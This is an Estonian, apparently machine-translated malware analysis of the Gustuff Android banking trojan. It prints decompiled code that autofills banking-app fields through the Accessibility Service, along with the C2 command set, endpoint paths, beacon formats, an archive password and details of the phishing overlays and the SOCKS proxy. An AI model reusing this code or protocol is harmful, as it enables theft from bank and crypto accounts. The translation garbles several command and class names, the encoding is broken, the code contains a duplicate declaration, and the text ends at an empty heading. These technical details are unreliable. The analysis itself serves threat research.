Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab

Äsja teatas Group-IB et Android-trooja Gustuffi aktiivsusest. See töötab vaid rahvusvahelistel turgudel, rĂŒndades 100 suurima vĂ€lismaise panga kliente, 32 populaarse mobiilse krĂŒptoraha rahakoti kasutajaid ning suuri e-kaubanduse platvorme. Gustuffi arendajal on vene hĂ€kker nimega Bestoffer. Veel hiljuti reklaamis ta oma troojat kui "tĂ”sist toodet inimestele, kellel on teadmised ja kogemus."

Group-IB kahjurprogrammide analĂŒĂŒsiekspert Ivan Pisarjev oma uurimuses rÀÀgib pĂ”hjalikult, kuidas Gustuff töötab ja milles seisneb selle oht.

Keda rĂŒndab Gustuff

Gustuff kuulub uue pĂ”lvkonna kahjurprogrammide hulka, millel on tĂ€ielikult automatiseeritud funktsioonid. Arendaja sĂ”nul on trooja saanud uue, tĂ€iustatud versiooni kahjurprogrammist AndyBot, mis alates novembrist 2017 rĂŒndab Androidi operatsioonisĂŒsteemiga telefone ja varastab raha lĂ€bi kalastamisveebivormide, mis maskeerivad end tuntud rahvusvaheliste pankade ja maksesĂŒsteemide mobiilirakendustena. Bestoffer teatas, et "Gustuff Boti" rendihind oli 800 dollarit kuus.

Gustuffi proovide analĂŒĂŒs nĂ€itas, et trooja on potentsiaalselt suunatud klientidele, kes kasutavad suurimate pankade mobiilirakendusi, nagu Bank of America, Bank of Scotland, J.P. Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, samuti Bitcoin Wallet, BitPay, Cryptopay, Coinbase ja teised krĂŒptoraha rahakotid.

Algselt klassikalise pangatrooijana loodud Gustuff on praeguses versioonis oluliselt laienenud potentsiaalsete rĂŒnnakuobjektide loetelu. Lisaks pankade, finantstehnoloogia ettevĂ”tete ja krĂŒptoteenuste Android-rakendustele on Gustuff suunatud ka turuplatvormide, veebipoodide, maksesĂŒsteemide ja sĂ”numsiderakenduste kasutajatele. Eriti PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ja teised.

Sisenemispunkt: massilise nakatumise arvestamine

Gustuff'i iseloomustab klassikaline sissetungi vektor Android-smartfonidesse SMS-saadetiste kaudu, mis sisaldavad linke APK-dele. Kui Android-seade nakatub troojalasega, vĂ”ib serveri kĂ€sul Gustuff levida nakatunud telefoni kontaktide baasidesse vĂ”i serveri andmebaasidesse. Gustuff'i funktsionaalsus on suunatud massilisele nakatumisele ja oma operaatorite Ă€ride maksimaalsele kapitaliseerimisele – see sisaldab ainulaadset "automaatlaadimise" funktsiooni Ă”iguspĂ€rastes mobiilsetes pangarakendustes ja krĂŒptorahakottides, mis vĂ”imaldab kiirendada ja suurendada raha vargust.

Troojalase uuring nĂ€itas, et automaatlaadimise funktsioon on rakendatud tĂ€nu Accessibility Service'ile — teenusele, mis on mĂ”eldud piiratud vĂ”imalustega inimestele. Gustuff ei ole esimene troojalane, mis suudab tĂ”husalt ĂŒletada kaitset, mis takistab teiste rakenduste akende elementidega suhtlemist, kasutades seda Androidi teenust. Siiski jÀÀb Accessibility Service'i kasutamine koos automaatlaadimisega endiselt ĂŒsna haruldaseks nĂ€htuseks.

PĂ€rast Gustuff'i allalaadimist ohvri telefonile saab see, kasutades Accessibility Service'i, suhelda teiste rakenduste (pangandus-, krĂŒptovaluuta-, online-ostlemise, sĂ”numitoomise jms) akende elementidega, tehes vajalikud tegevused kurjategijate jaoks. NĂ€iteks serveri kĂ€su alusel vĂ”ib troojalane vajutada nuppe ja muuta tekstivĂ€ljade vÀÀrtusi pangarakendustes. Accessibility Service'i mehhanismi kasutamine vĂ”imaldab troojal vĂ€ltida panganduse kaitsemehhanisme, mis on suunatud eelmise pĂ”lvkonna mobiilsete troojalaste vastu, samuti Google'i uute Android-i versioonide turvapoliitika muudatusi. Nii on Gustuff "vĂ”imeline" vĂ€lja lĂŒlitama Google Protect'i kaitse: autori sĂ”nul töötab see funktsioon 70% juhtudest.

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab

Samuti vĂ”ib Gustuff demonstreerida vale PUSH-teateid, millel on seaduslike mobiilirakenduste ikoonid. Kasutaja klĂ”psab PUSH-teatele ja nĂ€eb serverist laaditud phishing-aken, kuhu ta ise sisestab nĂ”utud pangakaardi vĂ”i krĂŒptorahakoti andmed. Teises tööstsenaariumis avatakse rakendus, mille nimel PUSH-teade demonstreeriti. Sel juhul vĂ”ib pahavara serveri kĂ€sul lĂ€bi Accessibility Service tĂ€ita pangarakenduse vormi vĂ€ljad petliku tehingu jaoks.

Gustuffi funktsioonide hulka kuulub ka teabe saatmine serverisse nakatunud seadme kohta, SMS-ite lugemine/saatmine, USSD-pÀringute saatmine, SOCKS5 Proxy kÀivitamine, linkidele minek, failide (sealhulgas dokumentide fotokoopiate, ekraanipiltide, fotode) saatmine serverisse, seadme lÀhtestamine tehasesÀtetele.

Pahavara analĂŒĂŒs

Enne pahavara rakenduse installimist nĂ€itab Android OS kasutajale akent, mis sisaldab Gustuff’i taotletud Ă”iguste loetelu:

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab
Rakenduse installimine toimub ainult pÀrast kasutaja nÔusoleku saamist. PÀrast rakenduse kÀivitamist nÀitab trooja kasutajale akent:

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab
PĂ€rast seda kustutab see oma ikooni.

Gustuff on pakitud, autori sÔnul, FTT pakkijaga. PÀrast kÀivitamist pöördub rakendus perioodiliselt CnC-serveri poole, et saada kÀske. Meie uuritud failides kasutati juhtimisseadmeks IP-aadressi. 88.99.171[.]105 (edaspidi nimetame seda <%CnC%>).

PÀrast kÀivitamist hakkab programm saatma teateid serverisse http:///api/v1/get.php.

Vastuseks oodatakse JSON jÀrgmises formaadis:

{
    "results" : "OK",
    "command":{
        "id": "",
        "command":"",
        "timestamp":"",
        "params":{
		
        },
    },
}

Iga kord, kui rakendus pöördub, saadab see teavet nakatunud seadme kohta. Teate formaat on esitatud allpool. Tasub mĂ€rkida, et vĂ€ljad full, extra, apps ja permission on valikuline ja saadetakse ainult CnC kĂŒsimiskuule vastuseks.

{
 "info":
 {
 "info":
 {
 "cell":,
 "country":,
 "imei":,
 "number":,
 "line1Number":,
 "advertisementId":
 },
 "state":
 {
 "admin":,
 "source":,
 "needPermissions":,
 "accesByName":,
 "accesByService":,
 "safetyNet":,
 "defaultSmsApp":,
 "isDefaultSmsApp":,
 "dateTime":,
 "batteryLevel":
 },
 "socks":
 {
 "id":,
 "enabled":,
 "active":
 },
 "version":
 {
 "versionName":,
 "versionCode":,
 "lastUpdateTime":,
 "tag":,
 "targetSdkVersion":,
 "buildConfigTimestamp":1541309066721
 },
 },
 "full":
 {
 "model":,
 "localeCountry":,
 "localeLang":,
 "accounts":,
 "lockType":
 },
 "extra":
 {
 "serial":,
 "board":,
 "brand":,
 "user":,
 "device":,
 "display":,
 "id":,
 "manufacturer":,
 "model":,
 "product":,
 "tags":,
 "type":,
 "imei":,
 "imsi":,
 "line1number":,
 "iccid":,
 "mcc":,
 "mnc":,
 "cellid":,
 "lac":,
 "androidid":,
 "ssid":
 },
 "apps":{},
 "permission":
} 

Konfigureerimisandmete sÀilitamine

Gustuff salvestab tööks olulist teavet preference-failis. Faili nimi ja parameetrite nimed on MD5-kokkuvĂ”tte vĂ€ljund. 15413090667214.6.1, kus <%name%> — algne nime-vÀÀrtuse paar. Python'i tĂ”lgendus nime genereerimise funktsioonist:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Edasi nimetame seda kui nameGenerator(input).
Nii on esimese faili nimi: nameGenerator(«API_SERVER_LIST»), see sisaldab jÀrgmiste nimedega vÀÀrtusi:

Muutuja nimiTĂ€hendus
nameGenerator(«API_SERVER_LIST»)Sisaldab CnC-aadresse massiivina.
nameGenerator(«API_SERVER_URL»)Sisaldab CnC-aadressi.
nameGenerator(«SMS_UPLOAD»)Fikseeritud lipp on seatud. Kui lipp on seatud, saadetakse SMS-sÔnumid CnC-le.
nameGenerator(«SMS_ROOT_NUMBER»)Telefoninumber, kuhu SMS-sÔnumid saadetakse nakatunud seadme poolt. Vaikimisi null.
nameGenerator(«SMS_ROOT_NUMBER_RESEND»)Vaikimisi lipp on tĂŒhistatud. Kui see on seatud, saadetakse nakatunud seadme poolt saadud SMS root-numbrile.
nameGenerator(«DEFAULT_APP_SMS»)Vaikimisi lipp on tĂŒhistatud. Kui see lipp on seatud, töötleb rakendus sisse tulevaid SMS-sĂ”numeid.
nameGenerator(«DEFAULT_ADMIN»)Vaikimisi lipp on tĂŒhistatud. Kui see lipp on seatud, on rakendusel administraatori Ă”igused.
nameGenerator(«DEFAULT_ACCESSIBILITY»)Vaikimisi lipp on tĂŒhistatud. Kui see lipp on seatud, kĂ€ivitatakse teenus, mis kasutab Accessibility Service'i.
nameGenerator(«APPS_CONFIG»)JSON-objekt, mis sisaldab nimekirja toimingutest, mida tuleb tĂ€ita seoses teatud rakendusega, kui Accessibility-sĂŒndmus toimub.
nameGenerator(«APPS_INSTALLED»)Hoidab loetelu seadmes installitud rakendustest.
nameGenerator(«IS_FIST_RUN»)Lipp tĂŒhistatakse esimesel kĂ€ivitamisel.
nameGenerator(«UNIQUE_ID»)Sisaldab ainulaadset identifikaatorit. Luua esimese rakenduse kÀivitamise ajal.

KÀskude töötlemise moodul serverilt

Rakendus salvestab CnC-serverite aadresse kooditud massiivina Base85 stringid. CnC nimekiri - serverid vÔib muutuda vastava kÀsu vastuvÔtmisel, seejuures salvestatakse aadressid preference-faili.

Server saadab rakendusele kÀsu vastuseks pÀringule. Tuleb mÀrkida, et kÀsud ja parameetrid on esitatud JSON-formaadis. Rakendus suudab töödelda jÀrgmisi kÀske:

MeeskondKirjeldus
forwardStartAlusta nakatunud seadmega saadetud SMS-sÔnumite saatmist CnC-serverisse.
forwardStopPeata nakatunud seadmega saadetud SMS-sÔnumite saatmine CnC-serverisse.
ussdRunTeosta USSD-pĂ€ring. Number, millele USSD-pĂ€ring tuleb teha, asub JSON-valdkonnas „number“.
sendSmsSaada ĂŒks SMS-sĂ”num (vajadusel jagatakse sĂ”num osadeks). KĂ€sk aktsepteerib JSON-objekti, mis sisaldab valdkondi „to“ – sihtnumber ja „body“ – sĂ”numi sisu.
sendSmsAbSaada SMS-sĂ”numeid (vajadusel jagatakse sĂ”num osadeks) kĂ”ikidele nakatunud seadme kontaktide loendis. SĂ”numite saatmise intervall – 10 sekundit. SĂ”numi sisu asub JSON-valdkonnas „body“
sendSmsMassSaada SMS-sĂ”numid (vajadusel jaguneb sĂ”num osadeks) kĂ€skudes mÀÀratud kontaktidele. SĂ”numite saatmise vahe on 10 sekundit. KĂ€sk saab parameetrina JSON-massiivi (vĂ€lja «sms»), mille elemendid sisaldavad vĂ€lju «to» — sihtnumber ja «body» — sĂ”numi sisu.
changeServerKĂ€sk saab parameetrina vÀÀrtuse vĂ”tmega «url» — siis muudab bot vÀÀrtust nameGenerator(“SERVER_URL”), vĂ”i «array» — siis kirjutab bot massiivi nameGenerator (“API_SERVER_LIST”). Nii muudab rakendus CnC-serverite aadresse.
adminNumberKĂ€sk on mĂ”eldud root-numbri jaoks. KĂ€sk aktsepteerib JSON-objekti jĂ€rgmiste parameetritega: «number» — muuda nameGenerator(“ROOT_NUMBER”) saadud vÀÀrtuseks, «resend» — muuda nameGenerator(“SMS_ROOT_NUMBER_RESEND”), «sendId» — saada nameGenerator(“ROOT_NUMBER”) uniqueID.
updateInfoSaada serverisse teave nakatunud seadme kohta.
wipeDataKÀsk on mÔeldud kasutajaandmete eemaldamiseks. SÔltuvalt sellest, millise nimega rakendus kÀivitati, toimub kas tÀielik andmete kustutamine koos seadme taaskÀivitamisega (peat kasutaja) vÔi ainult kasutajaandmete kustutamine (teisene kasutaja).
socksStartKÀivita Proxy-modul. Moduuli töö on kirjeldatud eraldi jaotises.
socksStopPeata Proxy-moduli töö.
openLinkMine lingile. Link asub JSON-parameetris vÔtmega «url». Lingile minekuks kasutatakse «android.intent.action.VIEW».
uploadAllSmsSaada serverisse kÔik seadme vastu vÔetud SMS-sÔnumid.
uploadAllPhotosSaada URL nakatunud seadme piltidest. URL tuleb parameetrina.
uploadFileSaada URL kaudu fail nakatunud seadme kaudu. URL tuleb parameetrina.
uploadPhoneNumbersSaada serverisse telefoninumbrid kontaktide loendist. Kui parameetrina tuleb JSON-objekt, mille vÀÀrtus on vÔtmega «ab», saadab rakendus kontaktide loendi telefoniraamatust. Kui parameetrina tuleb JSON-objekt vÔtmega «sms», loeb rakendus kontaktide loendi SMS-sÔnumite saatjatest.
changeArchiveRakendus laadib faili aadressilt, mis saadetakse parameetrina vĂ”tmega „url“. Laaditud fail salvestatakse nimega „archive.zip“. SeejĂ€rel rakendus dekompresseerib faili, vajadusel kasutades arhiivi parooli „b5jXh37gxgHBrZhQ4j3D“. Dekompresseeritud failid salvestatakse katalooge [external storage]/hgps. Selles kataloogis hoiab rakendus veebi valeidentiteete (tulevikus kirjeldatakse).
tegevusedKÀsk on mÔeldud Action Service'iga töötamiseks, mis on kirjeldatud eraldi jaotises.
testEi tee midagi.
alla laadidaKĂ€sk on mĂ”eldud faili laadimiseks kaugserverilt ja selle salvestamiseks katalooge „Downloads“. URL ja faili nimi saadetakse parameetrina, vastavateks pĂ”ldudeks JSON-objektis on: „url“ ja „fileName“.
eemaldaKustutab faili kataloogist „Downloads“. Faili nimi saadetakse JSON-parameetrina vĂ”tmega „fileName“. Vaikimisi failinimi on „tmp.apk“.
teadeKuva teade, mille kirjeldavad sisu ja pealkiri mÀÀratakse haldussĂŒsteemi poolt.

KĂ€skude formaat teade:

{
 "results" : "OK",
 "command":{
 "id": ,
 "command":"notification",
 "timestamp":,
 "params":{
 "openApp":,
 "array":[
 {"title":,
 "desc":,
 "app":}
 ]
 },
 },
}

Teade, mida loob uuritav fail, nĂ€eb vĂ€lja identne rakenduse genereeritud teadetega, mis on mÀÀratud vĂ€ljade. app. Kui vĂ€li openApp — True, rakendust, mis on mÀÀratud vĂ€ljale, avatakse teate avamisel. app. Kui vĂ€li openApp — False, siis:

  • avatakse valeidentiteedi aken, mille sisu laaditakse kataloogist /hgps/
  • avatakse valeidentiteedi aken, mille sisu laaditakse serverilt ?id=&app=
  • avatakse valeidentiteedi aken, mis on maskeeritud Google Play Card'i alla, vĂ”imalusega sisestada kaardi andmed.

Iga kÀsu tÀitmise tulemus saadetakse rakenduselt set_state.php JSON-objekti kujul jÀrgmises formaadis:

{
    "command":
    {
        "command":,
        "id":,
        "state":
    }
    "id":
}

ActionsService
Rakenduse töödeldavate kÀskude hulka kuulub tegevus. KÀskude saamisel pöördub kÀskude töötlemise moodul selle teenuse poole, et tÀita laiendatud kÀsku. Teenus vÔtab parameetrina JSON-objekti. Teenus saab tÀita jÀrgmisi kÀske:

1. PARAMS_ACTION — kui selline kĂ€sk saadakse, siis teenus kĂ”igepealt vĂ”tab JSON-parameetrist vÀÀrtuse vĂ”tme jĂ€rgi Type, mis vĂ”ib olla jĂ€rgmine:

  • serviceInfo – alamskĂ€sk vĂ”tab JSON-parameetrist vÀÀrtuse vĂ”tme jĂ€rgi includeNotImportant. Kui lipp on True — rakendus seab lipu FLAG_ISOLATED_PROCESS teenusele, mis kasutab Accessibility Service. Seega töötab teenus eraldi protsessis.
  • root — saada ja saata serverisse teave akna kohta, mis praegu on fookuses. Rakendus saab teabe klassi AccessibilityNodeInfo abil.
  • admin — taotleda administraatori Ă”igusi.
  • delay — peatada ActionsService tegevuse nii palju millisekunde, kui on nĂ€idatud vĂ”tme „data“ parameetris.
  • windows — saata nĂ€htavate akende loetelu kasutajale.
  • install — installida rakendus nakatatud seadmesse. Paketi nimi — arhiiv asub vĂ”tmes „fileName“. Ükski arhiiv asub kaustas Downloads.
  • global – alamskĂ€sk, mis on ette nĂ€htud praegusest aknast liikuda:
    • kiire seadete menĂŒĂŒsse
    • tagasi
    • avalehele
    • teavitustele
    • hiljuti avatud rakenduste aknasse

  • launch — kĂ€ivitada rakendus. Rakenduse nimetus tuleb parameetrina vĂ”tme data.
  • sounds — muuta heli reĆŸiim vaikseks.
  • unlock — lĂŒlitab ekraani ja klaviatuuri tĂ€ieliku valgustuse sisse. Rakendus sooritab selle toimingu WakeLock'i abil, tagades sildi [Application lable]:INFO
  • permissionOverlay — funktsioon pole realiseeritud (kĂ€skluse tĂ€itmise vastus — {„message“:„Not support“} vĂ”i {„message“:„low sdk“})
  • gesture — funktsioon pole realiseeritud (kĂ€skluse tĂ€itmise vastus — {„message“:„Not support“} vĂ”i {„message“:„Low API“})
  • permissions — see kĂ€sk on vajalik rakenduse Ă”iguste taotlemiseks. Kuid taotluse funktsioon pole realiseeritud, seega pole kĂ€sk mĂ”ttekas. Taotletud Ă”iguste loetelu tuleb JSON-massiivina vĂ”tmega „permissions“. Standardne loetelu:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • open — kuvada ekraanile petusakna. SĂ”ltuvalt serverist saadud parameetrist vĂ”ib rakendus kuvada jĂ€rgmisi petusaknaid:
    • Kuvada petusaken, mille sisu on mÀÀratletud failis kaustas /hgps/Kasutaja suhtlemise tulemus aknaga saadetakse aadressile /records.php
    • Kuva petusakna, mille sisu eelnevalt laaditakse aadressilt ?id=&app=Kasutaja suhtlemise tulemus aknaga saadetakse aadressile /records.php
    • Kuva petusakna, mis on maskeeritud Google Play kaardina.

  • interaktiivne — kĂ€sk on ette nĂ€htud suhtlemiseks teiste rakenduste akende elementidega lĂ€bi AccessibilityService. Suhtlemiseks on rakenduses rakendatud spetsiaalne teenus. Uuritud rakendus vĂ”ib suhelda akendega:
    • Aktiveeritud hetkel. Sel juhul sisaldab parameeter objekti id-d vĂ”i teksti (nimetust), millega on vajalik suhelda.
    • Kasutajale nĂ€htavad tĂ€itmise hetkel. Rakendus valib aknad id jĂ€rgi.

    Saades objektid AccessibilityNodeInfo huvitavate aknaelementide jaoks saab rakendus sÔltuvalt parameetritest teostada toiminguid:

    • focus — fookuse seadmine objektile.
    • click — klikkida objektile.
    • actionId — teostada toiming ID jĂ€rgi.
    • setText — muuta objekti teksti. Teksti muutmine on vĂ”imalik kahel viisil: teostades toimingu ACTION_SET_TEXT (kui nakatunud seadme Androidi versioon on vanem vĂ”i vĂ”rdne LOLLIPOP), vĂ”i kopeerides tekst lĂ”ikepanka ja kleepides selle objekti (vanemate versioonide jaoks). Seda kĂ€sku saab kasutada andmete muutmiseks pangarakenduses.

2. PARAMS_ACTIONS — sama, mis PARAMS_ACTION, ainult saabub JSON-massiiv kĂ€skudest.

Tundub, et paljusid huvitab, kuidas nÀeb vÀlja funktsioon suhtlemiseks teise rakenduse aknaelementidega. Nii on see funktsionaalsus Gustuff'is rakendatud:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Teksti asendamise funktsioon:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Seega, kui juhtserver on Ă”igesti seadistatud, suudab Gustuff tĂ€ita tekstivĂ€ljad pangarakenduses ja vajutada tehingute tegemiseks vajalikke nuppe. Troojal pole isegi vaja rakendusse autentida — piisab, kui saata kĂ€sk PUSH-teate kuvamiseks koos eelnevalt installitud pangarakenduse avamisega. Kasutaja lĂ€bib autentimise ise, pĂ€rast mida suudab Gustuff automaatse tĂ€itmise teostada.

SMS-sÔnumite töötlemismoodul

Rakendus seab nakatunud seadmes SMS-sĂ”numite vastuvĂ”tmise sĂŒndmuse töötleja. Uuritav rakendus vĂ”ib vastu vĂ”tta kĂ€ske operaatorilt, mis saadetakse SMS-sĂ”numi kehas. KĂ€skude formaat on:

7!5=

Rakendus otsib kĂ”igist saabunud SMS-sĂ”numitest stringi 7!5=, kui rida avastatakse – dekodeerib Base64 stringi nihkega 4 ja tĂ€idab kĂ€su. KĂ€sklused on sarnased CnC kĂ€skluste omadega. TĂ€itmise tulemus saadetakse samale numbrile, kust kĂ€sk tuli. Vastuse formaat:

7*5=

Valikuliselt vĂ”ib rakendus saata kĂ”ik vastuvĂ”etud sĂ”numid Root-numbrile. Selleks peab preference-failis olema mÀÀratud Root-number ja lubatud sĂ”numite ĂŒmbersuunamise lipp. SMS-sĂ”num saadetakse kurjategija numbrile jĂ€rgnevate vormingus:

—

Samuti vÔib rakendus valikuliselt saata sÔnumeid CnC-le. SMS-sÔnum saadetakse serverisse JSON-vormingus:

{
    "id":,
    "sms":
    {
        "text":,
        "number":,
        "date":
    }
}

Kui lipp on seatud nameGenerator(«DEFAULT_APP_SMS») – rakendus peatab SMS-sĂ”numi töötlemise ja tĂŒhjendab sissetulevate sĂ”numite loendi.

Proxy-moodul

Uuritavas rakenduses on olemas Backconnect Proxy moodul (edaspidi Proxy-moodul), millel on eraldi klass, mis sisaldab staatilisi vÀlju konfiguratsiooniga. Konfigureerimisandmed salvestatakse semple sÀtteid avatud kujul:

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab

KÔik Proxy-mooduli lÀbi viidud toimingud registreeritakse failidesse. Selleks loob rakendus External Storage'is kausta nimega "logs" (vÀlja ProxyConfigClass.logsDir konfiguratsiooniklassis), milles hoitakse logifailid. Logimine toimub failidesse, mille nimed on:

  1. main.txt – selle faili logitakse klassi CommandServer töö, hiljem tĂ€histame stringi str logimist sellesse faili kui mainLog(str).
  2. session-.txt — sellesse faili salvestatakse logiandmed, mis on seotud kindla proxy sessiooniga. Hiljem tĂ€histame stringi str logimist sellesse faili kui sessionLog(str).
  3. server.txt – selle faili logitakse kĂ”ik andmed, mis salvestatakse eelpool nimetatud failidesse.

Logiandmete formaat:

[Thread, id[]]: log-string

Proxy-mooduli töö kÀigus tekkivad erandid logitakse samuti faili. Selleks koostab rakendus JSON-objekti formaadis:

{
 "uncaughtException":
 "thread":
 "message":
 "trace": //Stack trace info
 [
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 },
 {
 "ClassName":
 "FileName":
 "LineNumber":
 "MethodName":
 }
 ]
}

PĂ€rast seda muudetakse see stringiks ja logitakse.

Proxy-mooduli kĂ€ivitamine toimub pĂ€rast vastava kĂ€su saamist. Kui kĂ€sk saabub Proxy-mooduli kĂ€ivitamiseks, kĂ€ivitab rakendus teenuse nimega MainService, mis vastutab Proxy-mooduli töö juhtimise eest – selle kĂ€ivitamise ja peatamise eest.

Teenuse kÀivitamise etapid:

1. KĂ€ivitab taimeri, mis kĂ€ivitub kord minutis ja kontrollib Proxy-mooduli aktiivsust. Kui moodul ei ole aktiivne – kĂ€ivitab selle.
Samuti kĂ€ivitatakse Proxy-moodul sĂŒndmuse tekkimisel android.net.conn.CONNECTIVITY_CHANGE .

2. Rakendus loob wake-lock'i parameetriga PARTIAL_WAKE_LOCK ja hoiab selle kinni. Nii ei lase seadme CPU-l magamisse minna.

3. KÀivitab Proxy-mooduli kÀsitlemise klassi, eelnevalt logides rea mainLog(«start server») ja

Server::start() host[], commandPort[], proxyPort[]

kus proxy_cnc, command_port ja proxy_port – parameetrid, mis saadi Proxy-serveri konfiguratsioonist.

Klassi, mis kÀsitleb kÀske, nimetatakse CommandConnection. Koheselt pÀrast kÀivitamist tÀidab see jÀrgmised toimingud:

4. Ühendub ProxyConfigClass.host: ProxyConfigClass.commandPort ja saadab sinna nakkunud seadme andmed JSON-formaadis:

{
    "id":,
    "imei":,
    "imsi":,
    "model":,
    "manufacturer":,
    "androidVersion":,
    "country":,
    "partnerId":,
    "packageName":,
    "networkType":,
    "hasGsmSupport":,
    "simReady":,
    "simCountry":,
    "networkOperator":,
    "simOperator":,
    "version":
}

Kus:

  • id – identifikaator, proovib saada Shared Preference failist nimega «x» vÀÀrtust vĂ€lja vĂ€ljaga «id». Kui seda vÀÀrtust ei Ă”nnestu saada – genereerib uue. Nii on Proxy-moodulil oma identifikaator, mis genereeritakse sarnaselt Bot ID-le.
  • imei – seadme IMEI. Kui vÀÀrtuse saamisel esines viga – selle vĂ€lja asemel salvestatakse tekstsĂ”num vigast.
  • imsi — Rahvusvaheline mobiilse abonendi identiteet seadmes. Kui vÀÀrtuse mÀÀramisel esines viga, salvestatakse selle asemel teatevĂ€lja tekstiviga.
  • model — LĂ”ppkasutajale nĂ€htav toote nimi.
  • manufacturer — Toote/riistvara tootja (Build.MANUFACTURER).
  • androidVersion — string formaadis «<%release_version%> (<%os_version%>),<%sdk_version%>»
  • country — seadme praegune asukoht.
  • partnerId – tĂŒhi string.
  • packageName – paketi nimi.
  • networkType — praeguse vĂ”rguĂŒhenduse tĂŒĂŒp (nĂ€ide: «WIFI», «MOBILE»). Vea korral tagastab null.
  • hasGsmSupport – true – kui telefon toetab GSM-i, muidu false.
  • simReady – SIM-kaardi seisund.
  • simCountry — ISO-kood riigist (SIM-kaardi teenusepakkuja pĂ”hjal).
  • networkOperator — operaatori nimekiri. Kui vÀÀrtuse mÀÀramisel esines viga, salvestatakse selle asemel teatevĂ€lja tekstiviga.
  • simOperator — Teenusepakkuja nimi (SPN). Kui vÀÀrtuse mÀÀramisel esines viga, salvestatakse selle asemel teatevĂ€lja tekstiviga.
  • version — see vĂ€li salvestatakse konfiguratsiooni klassis, uuritavate roboti versioonide jaoks oli see «1.6».

5. LĂŒlitub serverilt kĂ€su ootamise reĆŸiimi. KĂ€sud serverilt saadetakse jĂ€rgmises formaadis:

  • 0 offset – kĂ€sk
  • 1 offset – sessionId
  • 2 offset – pikkus
  • 4 offset — andmed

KĂ€skude saamisel logib rakendus:
mainLog(«Pealkiri { sessionId<%id%>], tĂŒĂŒp[<%command%>], pikkus[<%length%>] }»)

Serverilt vÔivad tulla jÀrgmised kÀsud:

NimiKĂ€skAndmedKirjeldus
connectionId0Yhenduse IDLoo uus ĂŒhendus
SLEEP3AegPeata Proxy-moduuli töö
PING_PONG4—Saada PONG-sĂ”num

PONG-sÔnum koosneb 4 baitist ja nÀeb vÀlja jÀrgmine: 0x04000000.

Kui saabub kĂ€sk connectionId (uue ĂŒhenduse loomine) CommandConnection loodakse klassi eksemplar ProxyConnection.

  • Proxeerimisel osaleb kaks klassi: ProxyConnection ja lĂ”peta. Klass loodakse ProxyConnection toimub ĂŒhendamine aadressiga ProxyConfigClass.host: ProxyConfigClass.proxyPort ja edastatakse JSON objekt:

 {
    "id":<%connectionId%>
}

Vastuseks saadab server SOCKS5 sĂ”numi, mis sisaldab distantserveri aadressi, millega tuleb ĂŒhendus luua. Suhtlemine selle serveriga toimub klassi kaudu lĂ”peta. Ühenduse loomist saab visuaalselt ette kujutada jĂ€rgmiselt:

Kuidas Android-trooja Gustuff teie kontodelt fiat- ja krĂŒptoraha varastab

VÔrgusuhted

Kasutajate vahelise liikluse analĂŒĂŒsi vĂ€ltimiseks saavad CnC-server ja rakendus SSL-protokolli abil omavahel suhelda. KĂ”ik edastatavad andmed serverist ja serverisse on esitatud JSON-formaadis. Rakendus tĂ€idab oma töö kĂ€igus jĂ€rgmisi pĂ€ringuid:

  • http:///api/v1/set_state.php — kĂ€su tĂ€itmise tulemus.
  • http:///api/v1/get.php — kĂ€su saamine.
  • http:///api/v1/load_sms.php — SMS-sĂ”numite allalaadimine nakatunud seadmest.
  • http:///api/v1/load_ab.php — kontaktide loendi allalaadimine nakatunud seadmest.
  • http:///api/v1/aevents.php – pĂ€ring tehakse parameetrite vĂ€rskendamisel preference-failis.
  • http:///api/v1/set_card.php — andmete allalaadimine, mis on saadud kalastamisakna kaudu, maskeerituna Google Play turuna.
  • http:///api/v1/logs.php – logi andmete allalaadimine.
  • http:///api/v1/records.php – andmete allalaadimine, mis on saadud kalastamisakende kaudu.
  • http:///api/v1/set_error.php – teade tekkinud veast.

Soovitused

